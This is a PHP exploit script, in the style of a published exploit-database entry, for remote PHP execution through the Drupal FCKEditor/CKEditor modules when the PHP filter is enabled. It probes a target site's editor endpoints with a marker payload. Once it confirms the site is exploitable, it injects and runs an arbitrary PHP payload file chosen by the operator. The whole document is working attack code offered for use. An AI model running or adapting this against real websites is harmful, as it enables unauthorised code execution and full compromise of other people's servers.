<?php
# Exploit Title: Drupal FCKEditor/CKEditor module remote PHP execution
# Date: March 19, 2012
# Author: Patroscon
# Software Link: http://drupal.org/project/ckeditor, http://drupal.org/project/fckeditor
# Version: FCKEditor 6.x-2.2, CKEditor 6.x-1.8, CKEditor 7.x-1.6.
# Tested on: Linux, Windows
# Vendor Advisory: http://drupal.org/node/1482528


# Description
#
# It is possible to instruct FCKEditor and CKEditor module to pass text trough a chosen filter.
# If the PHP filter module is enabled, users can chose to run this filter on chosen code.
#
# See http://drupal.org/1482528

/*
 * Patroscon has RISEN!
 *
 * Exploits SA-CONTRIB-2012-040 (http://drupal.org/node/1482528).
 *
 * Required: vulnerable site must also use PHP filter module.
 * Required for Drupal 6 exploit: You must have access permission listed in advisory.
 *
 * Point to the Drupal root.
 *
 * Use php patroscon.php http://example.com/ [cookie] [payloadfile]
 *
 * example:
 *
 * To check if the site can be exploited: php patroscon.php http://example.com/
 * If you need a cookie: php patroscon.php http://example.com/ 'SESSa6a82714802c2c37ba16036f1faf01d4=g6TYq0r2mT8wCTQTKiYl6x2lIdRL1H21Db5CbomcKqU'
 *
 * It's possible to provide a filename with PHP exploit code. It will be executed when detection was succesful. When you provide the payload file
 * you must also provide a cookie argument. This may be a nonsense cookie.
 *
 * example:
 *
 * php patroscon.php http://example.com/ 'whatever' ./admin_sid.php
 *
 * Exploit code must be wrapped in <?php ?> tags. See admin_sid.php for an example.
 *
 */

if (!isset($argv[1])) {
	echo "You must give URL such as http://example.com/";
	return;
}

$site = $argv[1];
$cookie = isset($argv[2]) ? $argv[2] : '';
$payloadfile = isset($argv[3]) ? $argv[3] : '';

$exploits = array(
	'fckeditor' => array(
		'path' => 'fckeditor/xss',
		'pre' => 'filters[0]=php/0&text=',
	),
	'ckeditor v6' => array(
		'path' => 'ckeditor/xss',
		'pre' => 'filters[0]=php/0&text=',
	),
	'ckeditor v7' => array(
		'path' => 'ckeditor/xss',
		'pre' => 'filters[0]=aaa&textformat_filters=true&input_format=php_code&text=',
	),
);

echo "\nWorking on $site";
foreach ($exploits as $editor => $exploit) {
	echo "\n - $editor";
	$url = $site . '/?q=' . urlencode($exploit['path']);
	$result = post($url, $exploit['pre'] . urlencode("<?php echo base64_decode('cGF0cm9zY29uIGhhcyByaXNlbg=='); ?>"), $cookie);

	switch ($result['info']['http_code']) {
		case 200:
			if ($result['content'] == 'patroscon has risen') {
				echo "\n   - exploitable";
				if ($payloadfile) {
					echo "\n   - injecting payload";
					$payload = file_get_contents($payloadfile);
					$result = post($url, $exploit['pre'] . urlencode($payload), $cookie);
					echo "\n\n********* Payload result [{$result['info']['http_code']}] ******************************************************************";
					echo "\n" . $result['content'];
					echo "\n********** End payload **************************************************************************";
				}
				echo "\n";
				return;
			}
			else {
				echo "\n   - unable to execute PHP";
			}
			break;
		case 404:
			echo "\n   - not installed";
			break;
		case 403:
			echo "\n   - access denied";
			break;
		default:
			echo "\n   - an unknown error occured.";
	}
}

echo "\n";

function post($url, $fields, $cookie) {
	$handle = curl_init($url);
	if (!$handle) {
		return;
	}

	curl_setopt_array($handle, array(
		CURLOPT_POST => TRUE,
		CURLOPT_POSTFIELDS => $fields,
		CURLOPT_RETURNTRANSFER => TRUE,
		CURLOPT_COOKIE => $cookie,
	));

	$result = curl_exec($handle);
	$info = curl_getinfo($handle);

	curl_close($handle);
	return array('content' => $result, 'info' => $info);
}